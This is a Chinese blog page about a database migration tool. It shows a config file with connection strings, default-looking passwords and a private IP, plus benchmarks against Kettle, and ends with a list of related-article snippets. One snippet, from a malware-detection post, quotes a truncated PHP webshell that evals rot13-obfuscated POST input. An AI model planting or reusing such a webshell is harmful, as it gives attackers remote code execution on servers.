OsInfo        : '192.168.142.12;gbase;gbase;'                    //*Gbase8a -> Gbase8a LOAD使用。工具所在操作系统IP;操作系统用户;操作系统用户密码;长度同下方的数据库IP;数据库用户名;数据库用户密码;

OneBatchNums  : '50000;'                                         //*MigrationType为0、1、2的情况下,支持此参数,一个批次插入的数据条数。(INSERT方式)

SwitchNums    : '3000000;'                                       //*MigrationType为0的情况下,支持此参数,此数以上使用LOAD,以下使用INSERT。

MigrationType : '2;'                                             //*迁移类型,支持0、1、2。
                                                                 //0 : Gbase8a     -> Gbase8a
                                                                 //1 : PostgreSql  -> Gbase8a
                                                                 //2 : PostgreSql  -> Dm
                          
[Source]                                                         //源端信息。

ConnInfo      : '192.168.142.12;postgres;postgres;czg;5432;utf8;' //'IP;数据库用户名;数据库用户密码;数据库名;数据库端口号;数据连接字符集;'
                                                                 //*单个IP长度限制19,数据库IP地址。
                                                                 //*单个用户名长度限制12,数据库用户名。
                                                                 //*单个用户名密码长度限制29,数据库密码。
                                                                 //*单个数据库名长度限制29,数据库名。
                                                                 //*数据库端口。
                                                                 //*长度限制9,数据库连接字符集,支持utf8和gbk,如果是达梦连接,需填写数字,对照表如下:
                                                                 //(1)UTF8                            1
                                                                 //(2)GBK                             2
                                                                 //(3)BIG5                            3
                                                                 //(4)ISO_8859_9                      4
                                                                 //(5)EUC_JP                          5
                                                                 //(6)EUC_KR                          6
                                                                 //(7)KOI8R                           7
                                                                 //(8)ISO_8859_1                      8
                                                                 //(9)SQL_ASCII                       9
                                                                 //(10)GB18030                        10
                                                                 //(11)ISO_8859_11                    11

MigrationDb   : 'public;'                                        //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。
                                                                 //MigrationType为1的情况下,此为PG的模式名。

BlackList     : ''                                               //库级迁移参数,支持50个表,黑名单,表名,长度限制参考Db。和MigrationDb一起使用可以。        

#SpecifiedTab  : 'a,b,c;czg;testtab;;x,y,z;zxj;NewTab;'            
                                                                 //MigrationType为0的情况下,表级迁移参数,格式:'源端查询字段;源端库名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //MigrationType为1的情况下,表级迁移参数,格式:'源端查询字段;源端模式名;源端表名;源端过滤条件;目的端插入字段;目的端库名;目的端表名;'
                                                                 //如果没有特定条件,可以不写,但必须有分隔符,举例如下:
                                                                 //';czg;testtab;;;zxj;NewTab;'
                                                                 //这样相当于testtab迁移到NewTab,没有任何特殊条件。
                                                                 //这个可以有多个标签,想迁移多少张表就写几个标签。
#SpecifiedTab  : ';czg;testtab_copy;;;zxj;testtab_copy;'
#SpecifiedTab  : ';czg;czg;;;zxj;czg;'

#SpecifiedTab  : ';public;testtab;;;zxj;testtab;'
#SpecifiedTab  : ';public;students;;;zxj;students;'
#SpecifiedTab  : ';public;haha;;;zxj;haha;'

SpecifiedTab  : ';public;testtab;;;zxj;testtab;'

[Target]                                                         //目的端信息。

ConnInfo      : '192.168.142.12;SYSDBA;SYSDBA;;5238;1;'

MigrationDb   : 'zxj;'                                           //库级迁移参数,单个数据库名长度限制29,需要迁移的数据库名。

十、性能对比测试

和开源ETL工具Kettle进行对比测试。

由于本人测试条件有限(所有的数据库和工具都部署在一个虚机里),如果大家有条件可以在性能更好的环境下测试,迁移效率肯定会比下面的结果更好。

1、性能测试对比表格

工具名\迁移项(单位:行/秒)Gbase8a -> Gbase8aPostgreSql -> Gbase8aPostgreSql -> Dm
HappySunshine43690(INSERT)
98304(LOAD)
4369078643
Kettle3215296420837

2、测试表结构

(1)Gbase8a

gbase> DESC ZXJ.TESTTAB;
+-------+---------------+------+-----+-------------------+-----------------------------+
| Field | Type          | Null | Key | Default           | Extra                       |
+-------+---------------+------+-----+-------------------+-----------------------------+
| a     | int(11)       | YES  |     | NULL              |                             |
| b     | double        | YES  |     | NULL              |                             |
| c     | varchar(100)  | YES  | MUL | NULL              |                             |
| d     | text          | YES  |     | NULL              |                             |
| e     | blob          | YES  |     | NULL              |                             |
| f     | longblob      | YES  |     | NULL              |                             |
| g     | date          | YES  |     | NULL              |                             |
| h     | timestamp     | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| i     | decimal(10,2) | YES  |     | NULL              |                             |
+-------+---------------+------+-----+-------------------+-----------------------------+
9 rows in set (Elapsed: 00:00:00.00)

(2)DM

SQL> DESC ZXJ.TESTTAB;

行号     NAME TYPE$        NULLABLE
---------- ---- ------------ --------
1          A    INTEGER      Y
2          B    DOUBLE       Y
3          C    VARCHAR(100) Y
4          D    TEXT         Y
5          E    BLOB         Y
6          F    BLOB         Y
7          G    DATE         Y
8          H    DATETIME(6)  Y
9          I    DEC(10, 2)   Y

9 rows got

(3)PostgreSql

czg=# \d public.testtab
                                      Table "public.testtab"
 Column |            Type             | Collation | Nullable |              Default               
--------+-----------------------------+-----------+----------+------------------------------------
 a      | integer                     |           | not null | nextval('testtab_a_seq'::regclass)
 b      | double precision            |           |          | 
 c      | character varying(100)      |           |          | 
 d      | text                        |           |          | 
 e      | bytea                       |           |          | 
 f      | bytea                       |           |          | 
 g      | date                        |           |          | 
 h      | timestamp without time zone |           |          | 
 i      | numeric(10,2)               |           |          | 
Indexes:
    "testtab_pkey" PRIMARY KEY, btree (a)

3、测试数据样式

czg=# SELECT * FROM PUBLIC.TESTTAB LIMIT 10;
    a    |  b  |      c      |    d     |       e        |             f              |     g      |          h          |    i    
---------+-----+-------------+----------+----------------+----------------------------+------------+---------------------+---------
 2399798 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |        
 2399799 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |    0.00
 2399800 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |    8.80
 2399801 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |   -8.80
 2399802 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |  348.80
 2399803 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 | -348.80
 2399804 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |        
 2399805 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |    0.00
 2399806 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |    8.80
 2399807 | 2.1 | LXG'ZXJ|CLX | HAHHAHAH | \x414141414141 | \x424242424242424242424242 | 2024-08-19 | 2024-08-19 00:00:00 |   -8.80
(10 rows)

4、HappySunshine测试截图

(1)PostgreSql -> Dm

(2)PostgreSql -> Gbase8a

(3)Gbase8a-> Gbase8a

INSERT

LOAD

5、Kettle测试截图

(1)PostgreSql -> Dm

测试步骤大家可以参考之前写的博客《Kettle-学习-03-PostgreSql迁移至达梦DM》

(2)PostgreSql -> Gbase8a

测试步骤大家可以参考之前写的博客《Kettle-学习-02-PostgreSql迁移至Gbase8a》

(3)Gbase8a-> Gbase8a

测试步骤大家可以参考之前写的博客《Kettle-学习-01-Gbase8a迁移至Gbase8a》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

petalinux-adi ---移植adi内核(一)

1. 设备树生成 将 前 面 生 成 的 设 备 树 文 件 ( 笔 者 这 里 生 成 的 设 备 树 文 件 在Petalinux 工 程 的components/plnx_workspace/device-tree/device-tree/ 目 录 下 ) pcw.dtsi 、 pl.dtsi 、system-top.dts 以 及 zynq-7000.dtsi 四 个 文 件 直 接 拷 贝 到 内 …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

Tool之Excalidraw:Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略

Tool之Excalidraw&#xff1a;Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略 目录 Excalidraw 简介 1、Excalidraw 的主要特点&#xff1a; Excalidraw 安装和使用方法 1、Excalidraw的安装 T1、使用 npm 安装&#xff1a; T2、使用 …

LLMs之rStar:《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读

LLMs之rStar&#xff1a;《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读 导读&#xff1a;这篇论文提出了一种名为rStar的自我博弈互推理方法&#xff0c;用于增强小型语言模型 (SLMs) 的推理能力&#xff0c;无需微调或依赖更强大的模型。rStar…

Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击 重入攻击&#xff08;Re-Entrancy&#xff09; 一直是以太坊智能合约中最危险的漏洞之一&#xff0c;导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击&#xff0c;造成价值当时 6000 万美元的以太币被盗&#xff0c;…

基于koa服务端脚手架搭建(文件加载器) --【elpis全栈项目笔记】

基于koa服务端脚手架(文件加载器) --【elpis-core】 前言&#xff1a; elpis-core 是一个项目文件加载器。基于一定的约定&#xff0c;将功能不同的代码分类放置到不同的目录下管理。适用于项目代码规范化、减少维护成本、沟通成本&#xff0c;易于扩展。&#xff08;简易版的 …

AQS源码学习

一、park/unpark阻塞唤醒线程 LockSupport是JDK中用来实现线程阻塞和唤醒的工具。使用它可以在任何场合使线程阻塞&#xff0c;可以指定任何线程进行唤醒&#xff0c;并且不用担心阻塞和唤醒操作的顺序&#xff0c;但要注意连续多次唤醒的效果和一次唤醒是一样的。JDK并发包下…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

02-1:python入门基础Python变量与数据类型

一、Python 变量的定义 &#xff08;一&#xff09;定义方式 在 Python 中&#xff0c;变量的定义是通过赋值来实现的&#xff0c;其语法格式非常简洁直观&#xff0c;基本形式为 “变量名 值”。等号左边是你自定义的变量名&#xff0c;右边则是要赋给该变量的值。Python 是…

在Vue3中实现文件上传功能,结合后端API

随着现代Web应用程序的不断发展&#xff0c;文件上传成为了用户交互中不可或缺的一部分。在本篇博客中&#xff0c;我们将深入讨论如何在Vue3中实现一个文件上传功能&#xff0c;并与后端API进行交互。我们将使用Vue3的Composition API&#xff08;setup语法糖&#xff09;来构…

详细ECharts图例3添加鼠标单击事件的柱状图

<!DOCTYPE html><html><head><meta charset"UTF-8"><script src"js/echarts.js"></script> <!-- 确保路径正确 --><title>添加鼠标单击事件的柱状图</title></head><body><div id&q…

Redis Hash Tag 知识详解

一、Redis Hash Tag概述 Redis Hash Tag是Redis集群环境里用于控制数据分片的关键机制。在Redis集群中&#xff0c;数据依据键的哈希值来确定分片存储位置。Hash Tag能让用户指定键的特定部分作为哈希计算核心部分&#xff0c;进而使相关键存储于同一节点&#xff0c;这对处理…

Java 初学者的第一个 SpringBoot3.4.0 登录系统二

Java 初学者的第一个 SpringBoot3.4.0 登录系统二 SpringBoot 3.4.0 是 SpringBoot 的最新版本&#xff0c;是乐衷与新技术的 Java 初学者和程序员的选择。和 SpringBoot3.4.0 搭配的各种软件组件也是新的潮流。Java 通用代码生成器光&#xff0c;2.4.0 电音之王尝鲜版十支持新…

SSH客户端

SSH客户端 在VMware界面中操作虚拟机非常不友好&#xff0c;所以一般推荐使用专门的SSH客户端。市面上常见的有&#xff1a; Xshell&#xff1a;个人免费&#xff0c;商业收费&#xff0c;之前爆出过有隐藏后门。不推荐Finshell&#xff1a;基础功能免费&#xff0c;高级功能…

python小课堂(一)

基础语法 1 常量和表达式2 变量和类型2.1 变量是什么2.2 变量语法 3 变量的类型3.1 动态类型特性 4 注释4.1注释是什么 5 输入输出5.1 print的介绍5.2 input 6 运算符6.1 算术运算符在这里插入图片描述6.2 关系运算符6.3 逻辑运算符6.4赋值运算符 1 常量和表达式 在print()中可…

java中的方法的重载和重写、构造器

目录 方法的重载和重写、构造器1.java的修饰符&#xff1a;2.普通方法3.构造器&#xff08;也叫构造方法/构造函数&#xff09;4.方法的重载5.补充6.方法的重写7.类的执行顺序8.再看方法的重写 方法的重载和重写、构造器 1.java的修饰符&#xff1a; public修饰的代码&#xf…

Halcon例程代码解读:安全环检测(附源码|图像下载链接)

安全环检测核心思路与代码详解 项目目标 本项目的目标是检测图像中的安全环位置和方向。通过形状匹配技术&#xff0c;从一张模型图像中提取安全环的特征&#xff0c;并在后续图像中识别多个实例&#xff0c;完成检测和方向标定。 实现思路 安全环检测分为以下核心步骤&…

前端知识补充—HTML

1. HTML 1.1 什么是HTML HTML(Hyper Text Markup Language), 超⽂本标记语⾔ 超⽂本: ⽐⽂本要强⼤. 通过链接和交互式⽅式来组织和呈现信息的⽂本形式. 不仅仅有⽂本, 还可能包含图⽚, ⾳频, 或者⾃已经审阅过它的学者所加的评注、补充或脚注等等 标记语⾔: 由标签构成的语⾔…

springboot根据租户id动态指定数据源

代码地址 码云地址springboot根据租户id动态指定数据源: springboot根据租户id指定动态数据源,结合mybatismysql多数源下的事务管理 创建3个数据库和对应的表 sql脚本在下图位置 代码的执行顺序 先设置主数据库的数据源配置目标数据源和默认数据源有了主库的数据源&#xff…

powershell美化

powershell美化 写在前面 除了安装命令&#xff0c;其他都是测试命令&#xff0c;后续再写进配置文件 安装主题控件 安装主题oh-my-posh&#xff0c;powershell中执行 winget install JanDeDobbeleer.OhMyPosh -s winget oh-my-posh init pwsh | Invoke-Expression # 查看…